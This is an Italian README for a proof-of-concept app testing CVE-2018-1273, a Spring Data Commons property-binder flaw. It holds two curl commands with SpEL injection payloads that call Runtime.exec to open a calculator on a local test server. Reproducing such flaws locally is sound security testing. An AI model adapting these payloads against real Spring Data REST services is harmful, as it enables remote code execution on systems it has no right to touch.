
POC per CVE-2018-1273
Spring Data Commons, versioni precedenti alla 1.13.10, dalla 2.0 alla 2.0.5, e versioni precedenti non supportate, contengono una vulnerabilità del property binder causata da una neutralizzazione impropria di elementi speciali. Un utente malintenzionato remoto non autenticato può fornire parametri di richiesta appositamente predisposti contro risorse HTTP basate su Spring Data REST o utilizzando il binding del payload di richiesta basato su proiezioni di Spring Data, che può portare a un attacco di esecuzione di codice in remoto.
Maggiori informazioni qui
L'applicazione può essere testata con la versione vulnerabile o con la versione corretta di Spring Data Commons.
mvn spring-boot:run
mvn spring-boot:run -Dfixed
Eseguire il seguente comando per verificare se la vulnerabilità può essere sfruttata:
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"
Creato da https://www.arima.eu
